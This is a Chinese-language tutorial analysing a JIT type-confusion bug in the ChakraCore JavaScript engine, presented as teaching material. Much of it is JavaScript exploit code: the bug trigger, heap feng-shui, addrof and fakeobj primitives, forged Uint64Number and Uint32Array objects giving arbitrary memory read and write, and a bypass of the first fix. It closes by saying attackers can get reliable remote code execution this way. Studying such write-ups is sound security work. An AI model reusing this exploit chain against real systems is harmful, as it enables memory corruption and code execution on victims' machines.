ChakraCore RCE漏洞分析与利用教学文档
漏洞概述
本漏洞存在于ChakraCore JavaScript引擎中,是一个由于JIT优化不当导致的类型混淆漏洞,最终可实现远程代码执行(RCE)。该漏洞于2018年9月通过提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2引入,并在后续得到修复。
漏洞背景知识
ChakraCore中的对象存储
-
JSObject布局:
vfptr: 虚拟表指针type: 保存Type指针auxSlots: 指向保存对象属性的缓冲区指针objectArray: 如果对象有索引属性,则指向JSArray
-
auxSlots缓冲区:
- 为避免添加新属性时频繁重新分配内存,auxSlots会以特定大小增长以容纳未来可能添加的属性
ChakraCore中的数组存储
ChakraCore使用三种存储方式优化数组:
NativeIntArray: 以4字节存储整数NativeFloatArray: 以8字节存储数字JavascriptArray: 以盒装表示存储数字,直接存储对象指针
JIT编译器背景
ChakraCore的JIT编译器有两层优化:
SimpleJitFullJit
FullJit层执行所有优化,使用直接算法处理函数的控制流图(CFG),包括:
- 向后传递图表
- 向前传递
- 另一个向后传递(称为DeadStore传递)
在这些过程中,收集数据以跟踪JS变量的各种符号信息,包括内部字段和指针。其中一条重要信息是"向上暴露的符号使用"(upward exposed uses),用于判断符号是否会在后续被使用。
漏洞详情
漏洞引入
漏洞在提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2中被引入,该提交尝试优化AdjustObjType指令,并引入了新指令AdjustObjTypeReloadAuxSlotPtr。
漏洞逻辑
考虑以下代码:
function opt(obj) {
// 假设此时obj->auxSlots已满
obj.new_property = 1; // [[1]]
}
JIT必须在[[1]]处生成AdjustObjType指令以正确增长后备缓冲区。优化逻辑尝试使用"向上暴露的使用"信息决定生成AdjustObjType还是AdjustObjTypeReloadAuxSlotPtr。
关键问题在于:
- 如果没有后续属性访问,优化会生成
AdjustObjType而非AdjustObjTypeReloadAuxSlotPtr - 但实际上auxSlots指针会被重新加载
- 写入新属性时使用了旧的auxSlots指针
- 最终导致在原始auxSlots缓冲区后8字节的越界写入(OOB write)
触发条件
触发漏洞的JavaScript函数:
function opt(obj) {
obj.new_property = obj.some_existing_property;
}
漏洞利用步骤
目标
建立两个关键原语:
addrof: 泄漏JavaScript对象的内部地址fakeobj: 在任意内存地址获取JavaScript对象句柄
限制条件
- 只能覆盖auxSlots缓冲区后的第一个QWORD
- 不能写入任意值,只能写入JSValue(带标记的值)
利用策略
1. 寻找合适的覆盖目标
选择覆盖数组段,因为:
- 数组段结构包含有用字段
- 可以使用标记整数进行覆盖
- 覆盖后可以检测是否成功
数组段结构:
uint32_t left; // 段的最左侧索引
uint32_t length; // 该段中设置的最高索引
uint32_t size; // 段可以存储的元素数量
segment * next; // 指向下一个段的指针
2. 堆风水(Heap Feng-Shui)
通过控制对象属性数量,使auxSlots与新数组段分配在同一内存区域:
- 创建具有20个属性的对象
- 确保auxSlots已满
3. 破坏数组段
利用步骤:
- 创建NativeFloatArray
- 设置一个高索引(如0x7000)以创建新段
- 创建具有20个属性的对象
- 通过分配索引0x1000创建新段
- 触发漏洞写入0x4000
检测代码:
let arr = [1.1];
arr[0x7000] = 0x200000; // 分段数组
let o = make_obj();
arr[0x1000] = 1337.36; // 在o的auxSlots后分配段
opt(o); // 触发漏洞覆盖段头
if (arr[0x4000] == 1337.36) {
print("[+] corruption worked");
}
建立addrof原语
利用损坏的段读取后续数组中的对象指针:
function setup_addrof(toLeak) {
// 设置损坏的段
addrof_hax = [1.1];
addrof_hax[0x7000] = 0x200000;
let o = make_obj();
addrof_hax[0x1000] = 1337.36;
opt(o);
// 设置包含目标对象的数组
addrof_hax2 = [];
addrof_hax2[0x1337] = toLeak;
// 查找目标对象指针
for (let i = 0; i < 0x500; i++) {
if (addrof_hax[0x4010 + i] == marker) {
addrof_idx = i;
return;
}
}
}
function addrof(toLeak) {
if (!addrof_setupped) {
setup_addrof(toLeak);
addrof_setupped = true;
}
return f2i(addrof_hax[0x4010 + addrof_idx + 3]);
}
建立fakeobj原语
利用损坏的段伪造对象:
function setup_fakeobj(addr) {
fakeobj_hax = [{}];
fakeobj_hax2 = [addr];
fakeobj_hax[0x7000] = 0x200000;
fakeobj_hax2[0x7000] = 1.1;
let o = make_obj();
fakeobj_hax[0x1000] = i2f(0x404040404040);
fakeobj_hax2[0x3000] = addr;
opt(o);
return fakeobj_hax[0x4000 + 20];
}
function fakeobj(addr) {
if (!fakeobj_setuped) {
setup_fakeobj(addr);
fakeobj_setuped = true;
}
return fakeobj_hax[0x4000 + 20];
}
获取任意读写原语
1. 泄漏vtable指针
利用内联数组和伪造的Uint64Number:
let a = new Array(16);
let b = new Array(16);
let addr = addrof(a);
let type = addr + 0x68;
// 伪造Uint64Number类型
a[4] = 0x6;
a[6] = lo(addr); a[7] = hi(addr);
a[8] = lo(addr); a[9] = hi(addr);
a[14] = 0x414141;
a[16] = lo(type); a[17] = hi(type);
let fake = fakeobj(i2f(addr + 0x90));
let vtable = parseInt(fake);
let uint32_vtable = vtable + offset;
2. 伪造Uint32Array
type = new Array(16);
type[0] = 50; // TypeIds_Uint32Array = 50
typeAddr = addrof(type) + 0x58;
ab = new ArrayBuffer(0x1338);
abAddr = addrof(ab);
fakeObject = new Array(16);
fakeObject[0] = lo(uint32_vtable); fakeObject[1] = hi(uint32_vtable);
fakeObject[2] = lo(typeAddr); fakeObject[3] = hi(typeAddr);
fakeObject[8] = 0x1000; fakeObject[9] = 0;
fakeObject[10] = lo(abAddr); fakeObject[11] = hi(abAddr);
address = addrof(fakeObject);
fakeObjectAddr = address + 0x58;
arr = fakeobj(i2f(fakeObjectAddr));
3. 实现读写原语
memory = {
setup: function(addr) {
fakeObject[14] = lower(addr);
fakeObject[15] = higher(addr);
},
write32: function(addr, data) {
memory.setup(addr);
arr[0] = data;
},
write64: function(addr, data) {
memory.setup(addr);
arr[0] = data & 0xffffffff;
arr[1] = data / 0x100000000;
},
read64: function(addr) {
memory.setup(addr);
return arr[0] + arr[1] * BASE;
}
};
绕过修复
第一次修复后(e149067c8f1a80462ac77d863b9bfb0173d0ced3),常规属性分配不再触发漏洞。绕过方法:
function make_obj() {
let o = {};
// 减少属性数量
o.a1=0x4000; ... o.a18=0x4000;
return o;
}
function opt(o) {
o.__defineGetter__("accessor", function() {});
o.a2; // 设置auxSlots为活跃
o.pwn = 0x4000; // 触发漏洞
}
总结
本教学详细分析了ChakraCore中的RCE漏洞,从漏洞原理到完整利用链的构建,包括:
- 理解ChakraCore对象和数组存储机制
- 分析JIT优化导致的漏洞原理
- 构建堆风水布局
- 实现addrof和fakeobj原语
- 获取任意读写能力
- 绕过初步修复
通过这种方法,攻击者可以在ChakraCore引擎中实现可靠的远程代码执行。